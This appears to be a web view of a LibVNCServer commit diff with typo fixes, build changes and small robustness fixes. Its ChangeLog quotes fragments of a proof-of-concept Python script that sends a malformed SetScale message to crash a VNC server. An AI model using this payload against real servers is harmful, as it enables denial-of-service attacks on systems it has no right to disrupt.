summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--.travis.yml4
-rw-r--r--CMakeLists.txt15
-rw-r--r--ChangeLog26
-rw-r--r--Doxyfile2
-rw-r--r--NEWS4
-rw-r--r--README10
l---------README.md1
-rw-r--r--client_examples/vnc2mpg.c6
-rw-r--r--common/zywrletemplate.c2
-rw-r--r--configure.ac2
-rw-r--r--examples/camera.c6
-rw-r--r--libvncclient/cursor.c6
-rw-r--r--libvncclient/listen.c11
-rw-r--r--libvncclient/rfbproto.c14
-rw-r--r--libvncclient/sockets.c2
-rw-r--r--libvncclient/tls_gnutls.c40
-rw-r--r--libvncclient/vncviewer.c2
-rw-r--r--libvncserver/cargs.c2
-rw-r--r--libvncserver/httpd.c2
-rw-r--r--libvncserver/rfbserver.c6
-rw-r--r--libvncserver/scale.c4
-rw-r--r--libvncserver/sockets.c23
-rw-r--r--libvncserver/tight.c2
-rw-r--r--libvncserver/tightvnc-filetransfer/filetransfermsg.c4
-rw-r--r--libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c2
-rw-r--r--libvncserver/tightvnc-filetransfer/rfbtightproto.h2
-rw-r--r--libvncserver/tightvnc-filetransfer/rfbtightserver.c2
-rw-r--r--libvncserver/ultra.c2
-rw-r--r--libvncserver/zlib.c2
-rw-r--r--rfb/keysym.h4
-rw-r--r--rfb/rfb.h6
-rw-r--r--rfb/rfbclient.h22
-rw-r--r--rfb/rfbconfig.h.cmake21
-rw-r--r--rfb/rfbproto.h14
-rw-r--r--webclients/java-applet/ssl/README6
-rw-r--r--webclients/java-applet/ssl/proxy.vnc2
-rwxr-xr-xwebclients/java-applet/ssl/ss_vncviewer10
-rw-r--r--webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch6
-rw-r--r--webclients/novnc/include/display.js8
-rw-r--r--webclients/novnc/include/keyboard.js144
-rw-r--r--webclients/novnc/include/keysym.js2
-rw-r--r--webclients/novnc/include/rfb.js15
-rw-r--r--webclients/novnc/include/ui.js2
-rw-r--r--webclients/novnc/include/vnc.js43
-rw-r--r--webclients/novnc/vnc_auto.html2
45 files changed, 283 insertions, 230 deletions
diff --git a/.travis.yml b/.travis.yml
new file mode 100644
index 0000000..13db7db
--- /dev/null
+++ b/.travis.yml
@@ -0,0 +1,4 @@
+language: c
+
+# before build script, run autoreconf
+before_script: autoreconf -fiv \ No newline at end of file
diff --git a/CMakeLists.txt b/CMakeLists.txt
index 168873f..12367ec 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -5,6 +5,7 @@ project(LibVNCServer)
include(CheckFunctionExists)
include(CheckIncludeFile)
include(CheckTypeSize)
+include(TestBigEndian)
include(CheckCSourceCompiles)
include(CheckCXXSourceCompiles)
include(CheckCSourceRuns)
@@ -106,10 +107,12 @@ if(GNUTLS_FOUND)
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (gnutls)" ON)
set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${GNUTLS_LIBRARIES})
set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_gnutls ${LIBVNCSERVER_DIR}/rfbcrypto_gnutls)
+ include_directories(${GNUTLS_INCLUDE_DIR})
elseif(OPENSSL_FOUND)
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (openssl)" ON)
set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${OPENSSL_LIBRARIES})
set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_openssl ${LIBVNCSERVER_DIR}/rfbcrypto_openssl)
+ include_directories(${OPENSSL_INCLUDE_DIR})
else()
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (no ssl)" ON)
set(WEBSOCKET_LIBRARIES ${RESOLV_LIB})
@@ -135,12 +138,21 @@ check_include_file("sys/wait.h" LIBVNCSERVER_HAVE_SYS_WAIT_H)
check_include_file("unistd.h" LIBVNCSERVER_HAVE_UNISTD_H)
# headers needed for check_type_size()
+check_include_file("vfork.h" LIBVNCSERVER_HAVE_VFORK_H)
+check_include_file("ws2tcpip.h" LIBVNCSERVER_HAVE_WS2TCPIP_H)
check_include_file("arpa/inet.h" HAVE_ARPA_INET_H)
check_include_file("stdint.h" HAVE_STDINT_H)
check_include_file("stddef.h" HAVE_STDDEF_H)
check_include_file("sys/types.h" HAVE_SYS_TYPES_H)
check_function_exists(gettimeofday LIBVNCSERVER_HAVE_GETTIMEOFDAY)
+check_function_exists(vfork LIBVNCSERVER_HAVE_VFORK)
+check_function_exists(vprintf LIBVNCSERVER_HAVE_VPRINTF)
+
+
+if(LIBVNCSERVER_HAVE_WS2TCPIP_H AND LIBVNCSERVER_HAVE_VPRINTF)
+ option(LIBVNCSERVER_IPv6 "Enable IPv6 Support" ON)
+endif()
if(CMAKE_USE_PTHREADS_INIT)
set(LIBVNCSERVER_HAVE_LIBPTHREAD 1)
@@ -162,6 +174,8 @@ if(NOT HAVE_LIBVNCSERVER_IN_ADDR_T)
set(LIBVNCSERVER_NEED_INADDR_T 1)
endif(NOT HAVE_LIBVNCSERVER_IN_ADDR_T)
+TEST_BIG_ENDIAN(LIBVNCSERVER_WORDS_BIGENDIAN)
+
# TODO:
# LIBVNCSERVER_ENOENT_WORKAROUND
# inline
@@ -279,6 +293,7 @@ target_link_libraries(vncclient
${ZLIB_LIBRARIES}
${JPEG_LIBRARIES}
${GNUTLS_LIBRARIES}
+ ${OPENSSL_LIBRARIES}
)
target_link_libraries(vncserver
${ADDITIONAL_LIBS}
diff --git a/ChangeLog b/ChangeLog
index 3953dd4..510ab06 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -37,7 +37,7 @@
(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port>
- [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
+ [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occurred.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
2014-10-14 dscho <johannes.schindelin@gmx.de>
@@ -1361,7 +1361,7 @@
* libvncserver/Makefile.am: Fix build error when libpng is
available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses
- libjpeg features. We could probably seperate that, but for now the
+ libjpeg features. We could probably separate that, but for now the
dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around.
2011-12-01 Christian Beier <dontmind@freeshell.org>
@@ -1527,10 +1527,10 @@
2011-10-16 George Fleury <gfleury@gmail.com>
* libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
- been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
+ been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didn't look the whole libvncserver api, but i am using
rfbReverseConnection with rfbProcessEvents, and then when the client
connection dies, i am calling a rfbShutdownServer and
- rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
+ rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isn't been
freed. So to free the stats i added a rfbResetStats(cl) after
rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
free the cl pointer. (at rfbserver.c line 555). And this, obviously,
@@ -1685,7 +1685,7 @@
2011-08-25 Gernot Tenchio <gernot@tenchio.de>
* libvncserver/websockets.c: websockets: added gcrypt based sha1
- digest funtion
+ digest function
2011-08-25 Joel Martin <jmartin@sentryds.com>
@@ -1901,7 +1901,7 @@
2010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com>
- * libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected
+ * libvncserver/tight.c: Fix memory corruption bug. This bug occurred when a second telepathy tubes client was connected
after the first one had disconnected and the channel (thus, the
screen too) had been destroyed. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
@@ -2070,7 +2070,7 @@
common/minilzo.h, libvncclient/Makefile.am,
libvncserver/Makefile.am: Update minilzo library used for Ultra
encoding to ver 2.04. According to the minilzo README, this brings a significant speedup
- on 64-bit architechtures. Changes compared to old version 1.08 can be found here:
+ on 64-bit architectures. Changes compared to old version 1.08 can be found here:
http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org>
2011-01-24 Christian Beier <dontmind@freeshell.org>
@@ -3209,7 +3209,7 @@
x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range
for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add
- progress_client() to proceed more quickly thru handshake.
+ progress_client() to proceed more quickly through handshake.
Improvements to turbovnc hack.
2009-03-07 dscho <dscho>
@@ -5601,7 +5601,7 @@
x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
- x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert
+ x11vnc/x11vnc_defs.c: SSL Java viewer work through proxy. -sslGenCA, etc key/cert
management utils for x11vnc. FBPM "support".
2006-03-28 dscho <dscho>
@@ -6760,7 +6760,7 @@
* AUTHORS, libvncclient/listen.c, libvncclient/sockets.c,
libvncclient/vncviewer.c: use rfbClientErr to log errors, check if
- calloc succeded (both hinted by Andre Leiradella)
+ calloc succeeded (both hinted by Andre Leiradella)
2004-11-30 dscho <dscho>
@@ -7442,7 +7442,7 @@
2003-08-03 dscho <dscho>
* rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to
- LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary...
+ LIBVNCSERVER_BIGENDIAN; #undef VERSION unnecessary...
2003-08-02 dscho <dscho>
@@ -8285,7 +8285,7 @@
2001-10-15 dscho <dscho>
- * .gdb_history: unneccessary file
+ * .gdb_history: unnecessary file
2001-10-13 dscho <dscho>
@@ -8536,7 +8536,7 @@
2001-09-25 dscho <dscho>
- * .depend: rmoved unneccessary files
+ * .depend: rmoved unnecessary files
2001-09-25 dscho <dscho>
diff --git a/Doxyfile b/Doxyfile
index 09c6fcc..c255d51 100644
--- a/Doxyfile
+++ b/Doxyfile
@@ -292,7 +292,7 @@ TYPEDEF_HIDES_STRUCT = YES
# causing a significant performance penality.
# If the system has enough physical memory increasing the cache will improve the
# performance by keeping more symbols in memory. Note that the value works on
-# a logarithmic scale so increasing the size by one will rougly double the
+# a logarithmic scale so increasing the size by one will roughly double the
# memory usage. The cache size is given by this formula:
# 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0,
# corresponding to a cache size of 2^16 = 65536 symbols
diff --git a/NEWS b/NEWS
index 6a838c6..9708ce3 100644
--- a/NEWS
+++ b/NEWS
@@ -80,7 +80,7 @@
* Implemented xvp VNC extension.
* Updated minilzo library used for Ultra encoding to ver 2.04.
According to the minilzo README, this brings a significant
- speedup on 64-bit architechtures.
+ speedup on 64-bit architectures.
- LibVNCServer:
* Thread safety for ZRLE, Zlib, Tight, RRE, CoRRE and Ultra encodings.
@@ -131,7 +131,7 @@
- Print this string out to stdout: 'PORT=XXXX' (usually XXXX = 5900).
Combining with -bg, easy to write a ssh/rsh wrapper with something like:
port=`ssh $host "x11vnc -bg .."` then run vncviewer based on $port output.
- (tunneling the vnc traffic thru ssh a bit more messy, but doable)
+ (tunneling the vnc traffic through ssh a bit more messy, but doable)
- Quite a bit of code to be more careful when doing 8bpp indexed color, e.g.
not assuming NCOLORS is 256, handling 8bit TrueColor and Direct Color, etc
diff --git a/README b/README
index dfcdc8c..fc15824 100644
--- a/README
+++ b/README
@@ -1,3 +1,5 @@
+[![Build Status](https://travis-ci.org/LibVNC/libvncserver.svg?branch=master)](https://travis-ci.org/LibVNC/libvncserver)
+
LibVNCServer: A library for easy implementation of a VNC server.
Copyright (C) 2001-2003 Johannes E. Schindelin
@@ -24,7 +26,7 @@ Try example: it outputs on which port it listens (default: 5900), so it is
display 0. To view, call
vncviewer :0
You should see a sheet with a gradient and "Hello World!" written on it. Try
-to paint something. Note that everytime you click, there is some bigger blot,
+to paint something. Note that every time you click, there is some bigger blot,
whereas when you drag the mouse while clicked you draw a line. The size of the
blot depends on the mouse button you click. Open a second vncviewer with
the same parameters and watch it as you paint in the other window. This also
@@ -32,7 +34,7 @@ works over internet. You just have to know either the name or the IP of your
machine. Then it is
vncviewer machine.where.example.runs.com:0
or similar for the remote client. Now you are ready to type something. Be sure
-that your mouse sits still, because everytime the mouse moves, the cursor is
+that your mouse sits still, because every time the mouse moves, the cursor is
reset to the position of the pointer! If you are done with that demo, press
the down or up arrows. If your viewer supports it, then the dimensions of the
sheet change. Just press Escape in the viewer. Note that the server still
@@ -112,7 +114,7 @@ Before you draw something, be sure to call
This tells LibVNCServer to hide the cursor.
Remark: There are vncviewers out there, which know a cursor encoding, so
that network traffic is low, and also the cursor doesn't need to be
-drawn the cursor everytime an update is sent. LibVNCServer handles
+drawn the cursor every time an update is sent. LibVNCServer handles
all the details. Just set the cursor and don't bother any more.
To set the mouse coordinates (or emulate mouse clicks), call
@@ -323,7 +325,7 @@ If you love products from Redmod, you better skip this paragraph.
I am always amazed how people react whenever Microsoft(tm) puts in some
features into their products which were around for a long time. Especially
reporters seem to not know dick about what they are reporting about! But
-what is everytime annoying again, is that they don't do it right. Every
+what is every time annoying again, is that they don't do it right. Every
concept has it's new name (remember what enumerators used to be until
Mickeysoft(tm) claimed that enumerators are what we thought were iterators.
Yeah right, enumerators are also containers. They are not separated. Muddy.)
diff --git a/README.md b/README.md
new file mode 120000
index 0000000..100b938
--- /dev/null
+++ b/README.md
@@ -0,0 +1 @@
+README \ No newline at end of file
diff --git a/client_examples/vnc2mpg.c b/client_examples/vnc2mpg.c
index 10c3d3e..af4a73a 100644
--- a/client_examples/vnc2mpg.c
+++ b/client_examples/vnc2mpg.c
@@ -85,11 +85,11 @@ AVStream *add_video_stream(AVFormatContext *oc, int codec_id, int w, int h)
}
if (c->codec_id == CODEC_ID_MPEG1VIDEO){
/* needed to avoid using macroblocks in which some coeffs overflow
- this doesnt happen with normal video, it just happens here as the
- motion of the chroma plane doesnt match the luma plane */
+ this doesn't happen with normal video, it just happens here as the
+ motion of the chroma plane doesn't match the luma plane */
c->mb_decision=2;
}
- /* some formats want stream headers to be seperate */
+ /* some formats want stream headers to be separate */
if(!strcmp(oc->oformat->name, "mp4") || !strcmp(oc->oformat->name, "mov") || !strcmp(oc->oformat->name, "3gp"))
c->flags |= CODEC_FLAG_GLOBAL_HEADER;
diff --git a/common/zywrletemplate.c b/common/zywrletemplate.c
index 904de40..faa7f07 100644
--- a/common/zywrletemplate.c
+++ b/common/zywrletemplate.c
@@ -9,7 +9,7 @@
* *
* THE 'ZYWRLE' VNC CODEC SOURCE CODE IS (C) COPYRIGHT 2006 *
* BY Hitachi Systems & Services, Ltd. *
- * (Noriaki Yamazaki, Research & Developement Center) * *
+ * (Noriaki Yamazaki, Research & Development Center) * *
* *
********************************************************************
Redistribution and use in source and binary forms, with or without
diff --git a/configure.ac b/configure.ac
index 5d05c12..9651809 100644
--- a/configure.ac
+++ b/configure.ac
@@ -30,7 +30,7 @@ AC_CHECK_TOOL([AR], [ar], [/usr/bin/ar],
# Options
AH_TEMPLATE(WITH_TIGHTVNC_FILETRANSFER, [Disable TightVNCFileTransfer protocol])
AC_ARG_WITH(tightvnc-filetransfer,
- [ --without-filetransfer disable TightVNC file transfer protocol],
+ [ --without-tightvnc-filetransfer disable TightVNC file transfer protocol],
, [ with_tightvnc_filetransfer=yes ])
# AC_DEFINE moved to after libpthread check.
diff --git a/examples/camera.c b/examples/camera.c
index 58ab1c3..51b122d 100644
--- a/examples/camera.c
+++ b/examples/camera.c
@@ -16,7 +16,7 @@
* Christian Daschill
*
*
- * Answer: Originally, I thought about using seperate threads and using a
+ * Answer: Originally, I thought about using separate threads and using a
* mutex to determine when the frame buffer was being accessed by any client
* so we could determine a safe time to take a picture. The probem is, we
* are lock-stepping everything with framebuffer access. Why not be a
@@ -31,7 +31,7 @@
* as the libvncserver should not stall on transmitting to any single
* client.
*
- * Another solution would be to provide a seperate framebuffer for each
+ * Another solution would be to provide a separate framebuffer for each
* client and use mutexes to determine if any particular client is ready for
* a snapshot. This way, your not updating a framebuffer for a slow client
* while it is being transferred.
@@ -104,7 +104,7 @@ int TakePicture(unsigned char *buffer)
*/
gettimeofday(&now,NULL);
line = now.tv_usec / (1000000/HEIGHT);
- if (line>HEIGHT) line=HEIGHT-1;
+ if (line>=HEIGHT) line=HEIGHT-1;
memset(&buffer[(WIDTH * BPP) * line], 0, (WIDTH * BPP));
/* frames per second (informational only) */
diff --git a/libvncclient/cursor.c b/libvncclient/cursor.c
index a48d7c5..67f4572 100644
--- a/libvncclient/cursor.c
+++ b/libvncclient/cursor.c
@@ -37,12 +37,6 @@
<< client->format.blueShift)
-/*********************************************************************
- * HandleCursorShape(). Support for XCursor and RichCursor shape
- * updates. We emulate cursor operating on the frame buffer (that is
- * why we call it "software cursor").
- ********************************************************************/
-
rfbBool HandleCursorShape(rfbClient* client,int xhot, int yhot, int width, int height, uint32_t enc)
{
int bytesPerPixel;
diff --git a/libvncclient/listen.c b/libvncclient/listen.c
index 6d4ad54..e989d6a 100644
--- a/libvncclient/listen.c
+++ b/libvncclient/listen.c
@@ -30,9 +30,6 @@
#ifdef WIN32
#define close closesocket
#include <winsock2.h>
-#ifdef _MINGW32
-#undef max
-#endif // #ifdef _MINGW32
#else // #ifdef WIN32
#include <sys/wait.h>
#include <sys/utsname.h>
@@ -99,7 +96,7 @@ listenForIncomingConnections(rfbClient* client)
if(listen6Socket >= 0)
FD_SET(listen6Socket, &fds);
- r = select(max(listenSocket, listen6Socket)+1, &fds, NULL, NULL, NULL);
+ r = select(rfbMax(listenSocket, listen6Socket)+1, &fds, NULL, NULL, NULL);
if (r > 0) {
if (FD_ISSET(listenSocket, &fds))
@@ -141,7 +138,7 @@ listenForIncomingConnections(rfbClient* client)
/*
* listenForIncomingConnectionsNoFork() - listen for incoming connections
* from servers, but DON'T fork, instead just wait timeout microseconds.
- * If timeout is negative, block indefinitly.
+ * If timeout is negative, block indefinitely.
* Returns 1 on success (there was an incoming connection on the listen socket
* and we accepted it successfully), -1 on error, 0 on timeout.
*/
@@ -195,9 +192,9 @@ listenForIncomingConnectionsNoFork(rfbClient* client, int timeout)
FD_SET(client->listen6Sock, &fds);
if (timeout < 0)
- r = select(max(client->listenSock, client->listen6Sock) +1, &fds, NULL, NULL, NULL);
+ r = select(rfbMax(client->listenSock, client->listen6Sock) +1, &fds, NULL, NULL, NULL);
else
- r = select(max(client->listenSock, client->listen6Sock) +1, &fds, NULL, NULL, &to);
+ r = select(rfbMax(client->listenSock, client->listen6Sock) +1, &fds, NULL, NULL, &to);
if (r > 0)
{
diff --git a/libvncclient/rfbproto.c b/libvncclient/rfbproto.c
index e2a583c..94b9bdb 100644
--- a/libvncclient/rfbproto.c
+++ b/libvncclient/rfbproto.c
@@ -150,6 +150,10 @@ void* rfbClientGetClientData(rfbClient* client, void* tag)
static void FillRectangle(rfbClient* client, int x, int y, int w, int h, uint32_t colour) {
int i,j;
+ if (client->frameBuffer == NULL) {
+ return;
+ }
+
#define FILL_RECT(BPP) \
for(j=y*client->width;j<(y+h)*client->width;j+=client->width) \
for(i=x;i<x+w;i++) \
@@ -193,6 +197,10 @@ static void CopyRectangle(rfbClient* client, uint8_t* buffer, int x, int y, int
static void CopyRectangleFromRectangle(rfbClient* client, int src_x, int src_y, int w, int h, int dest_x, int dest_y) {
int i,j;
+ if (client->frameBuffer == NULL) {
+ return;
+ }
+
#define COPY_RECT_FROM_RECT(BPP) \
{ \
uint##BPP##_t* _buffer=((uint##BPP##_t*)client->frameBuffer)+(src_y-dest_y)*client->width+src_x-dest_x; \
@@ -1484,7 +1492,8 @@ SetFormatAndEncodings(rfbClient* client)
if(e->encodings) {
int* enc;
for(enc = e->encodings; *enc; enc++)
- encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc);
+ if(se->nEncodings < MAX_ENCODINGS)
+ encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc);
}
len = sz_rfbSetEncodingsMsg + se->nEncodings * 4;
@@ -1954,7 +1963,8 @@ HandleRFBServerMessage(rfbClient* client)
y += linesToRead;
}
- } break;
+ break;
+ }
case rfbEncodingCopyRect:
{
diff --git a/libvncclient/sockets.c b/libvncclient/sockets.c
index e32c60e..8ddfd9d 100644
--- a/libvncclient/sockets.c
+++ b/libvncclient/sockets.c
@@ -563,7 +563,7 @@ ListenAtTcpPortAndAddress(int port, const char *address)
}
#ifdef IPV6_V6ONLY
- /* we have seperate IPv4 and IPv6 sockets since some OS's do not support dual binding */
+ /* we have separate IPv4 and IPv6 sockets since some OS's do not support dual binding */
if (p->ai_family == AF_INET6 && setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, (char *)&one, sizeof(one)) < 0) {
rfbClientErr("ListenAtTcpPortAndAddress: error in setsockopt IPV6_V6ONLY: %s\n", strerror(errno));
close(sock);
diff --git a/libvncclient/tls_gnutls.c b/libvncclient/tls_gnutls.c
index 3daa416..b9ffe89 100644
--- a/libvncclient/tls_gnutls.c
+++ b/libvncclient/tls_gnutls.c
@@ -67,9 +67,20 @@ InitializeTLS(void)
* libvncclient are linked to different versions of msvcrt.dll.
*/
#ifdef WIN32
-static void WSAtoTLSErrno()
+static void WSAtoTLSErrno(gnutls_session_t* session)
{
switch(WSAGetLastError()) {
+#if (GNUTLS_VERSION_NUMBER >= 0x029901)
+ case WSAEWOULDBLOCK:
+ gnutls_transport_set_errno(session, EAGAIN);
+ break;
+ case WSAEINTR:
+ gnutls_transport_set_errno(session, EINTR);
+ break;
+ default:
+ gnutls_transport_set_errno(session, EIO);
+ break;
+#else
case WSAEWOULDBLOCK:
gnutls_transport_set_global_errno(EAGAIN);
break;
@@ -79,11 +90,11 @@ static void WSAtoTLSErrno()
default:
gnutls_transport_set_global_errno(EIO);
break;
+#endif
}
}
#endif
-
static ssize_t
PushTLS(gnutls_transport_ptr_t transport, const void *data, size_t len)
{
@@ -96,7 +107,7 @@ PushTLS(gnutls_transport_ptr_t transport, const void *data, size_t len)
if (ret < 0)
{
#ifdef WIN32
- WSAtoTLSErrno();
+ WSAtoTLSErrno((gnutls_session_t*)&client->tlsSession);
#endif
if (errno == EINTR) continue;
return -1;
@@ -118,7 +129,7 @@ PullTLS(gnutls_transport_ptr_t transport, void *data, size_t len)
if (ret < 0)
{
#ifdef WIN32
- WSAtoTLSErrno();
+ WSAtoTLSErrno((gnutls_session_t*)&client->tlsSession);
#endif
if (errno == EINTR) continue;
return -1;
@@ -480,6 +491,14 @@ WriteToTLS(rfbClient* client, char *buf, unsigned int n)
unsigned int offset = 0;
ssize_t ret;
+ if (client->LockWriteToTLS)
+ {
+ if (!client->LockWriteToTLS(client))
+ {
+ rfbClientLog("Callback to get lock in WriteToTLS() failed\n");
+ return -1;
+ }
+ }
while (offset < n)
{
ret = gnutls_record_send((gnutls_session_t)client->tlsSession, buf+offset, (size_t)(n-offset));
@@ -488,10 +507,23 @@ WriteToTLS(rfbClient* client, char *buf, unsigned int n)
{
if (ret == GNUTLS_E_AGAIN || ret == GNUTLS_E_INTERRUPTED) continue;
rfbClientLog("Error writing to TLS: %s.\n", gnutls_strerror(ret));
+ if (client->UnlockWriteToTLS)
+ {
+ if (!client->UnlockWriteToTLS(client))
+ rfbClientLog("Callback to unlock WriteToTLS() failed\n");
+ }
return -1;
}
offset += (unsigned int)ret;
}
+ if (client->UnlockWriteToTLS)
+ {
+ if (!client->UnlockWriteToTLS(client))
+ {
+ rfbClientLog("Callback to unlock WriteToTLS() failed\n");
+ return -1;
+ }
+ }
return offset;
}
diff --git a/libvncclient/vncviewer.c b/libvncclient/vncviewer.c
index af0a50b..d81e298 100644
--- a/libvncclient/vncviewer.c
+++ b/libvncclient/vncviewer.c
@@ -220,6 +220,8 @@ rfbClient* rfbGetClient(int bitsPerSample,int samplesPerPixel,
client->subAuthScheme = 0;
client->GetCredential = NULL;
client->tlsSession = NULL;
+ client->LockWriteToTLS = NULL;
+ client->UnlockWriteToTLS = NULL;
client->sock = -1;
client->listenSock = -1;
client->listenAddress = NULL;
diff --git a/libvncserver/cargs.c b/libvncserver/cargs.c
index b9eb02b..4da04b5 100644
--- a/libvncserver/cargs.c
+++ b/libvncserver/cargs.c
@@ -1,5 +1,5 @@
/*
- * This parses the command line arguments. It was seperated from main.c by
+ * This parses the command line arguments. It was separated from main.c by
* Justin Dearing <jdeari01@longisland.poly.edu>.
*/
diff --git a/libvncserver/httpd.c b/libvncserver/httpd.c
index 2a778e7..236ab3e 100644
--- a/libvncserver/httpd.c
+++ b/libvncserver/httpd.c
@@ -192,7 +192,7 @@ rfbHttpCheckFds(rfbScreenInfoPtr rfbScreen)
}
tv.tv_sec = 0;
tv.tv_usec = 0;
- nfds = select(max(rfbScreen->httpListen6Sock, max(rfbScreen->httpSock,rfbScreen->httpListenSock)) + 1, &fds, NULL, NULL, &tv);
+ nfds = select(rfbMax(rfbScreen->httpListen6Sock, rfbMax(rfbScreen->httpSock,rfbScreen->httpListenSock)) + 1, &fds, NULL, NULL, &tv);
if (nfds == 0) {
return;
}
diff --git a/libvncserver/rfbserver.c b/libvncserver/rfbserver.c
index 34e1c06..bc9cc11 100644
--- a/libvncserver/rfbserver.c
+++ b/libvncserver/rfbserver.c
@@ -363,13 +363,11 @@ rfbNewTCPOrUDPClient(rfbScreenInfoPtr rfbScreen,
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY,
(char *)&one, sizeof(one)) < 0) {
- rfbLogPerror("setsockopt failed");
- close(sock);
- return NULL;
+ rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?");
}
FD_SET(sock,&(rfbScreen->allFds));
- rfbScreen->maxFd = max(sock,rfbScreen->maxFd);
+ rfbScreen->maxFd = rfbMax(sock,rfbScreen->maxFd);
INIT_MUTEX(cl->outputMutex);
INIT_MUTEX(cl->refCountMutex);
diff --git a/libvncserver/scale.c b/libvncserver/scale.c
index d11db40..3ca76dc 100644
--- a/libvncserver/scale.c
+++ b/libvncserver/scale.c
@@ -213,7 +213,7 @@ void rfbScaledScreenUpdateRect(rfbScreenInfoPtr screen, rfbScreenInfoPtr ptr, in
case 2: pixel_value = *((unsigned short *)srcptr2); break;
case 1: pixel_value = *((unsigned char *)srcptr2); break;
default:
- /* fixme: endianess problem? */
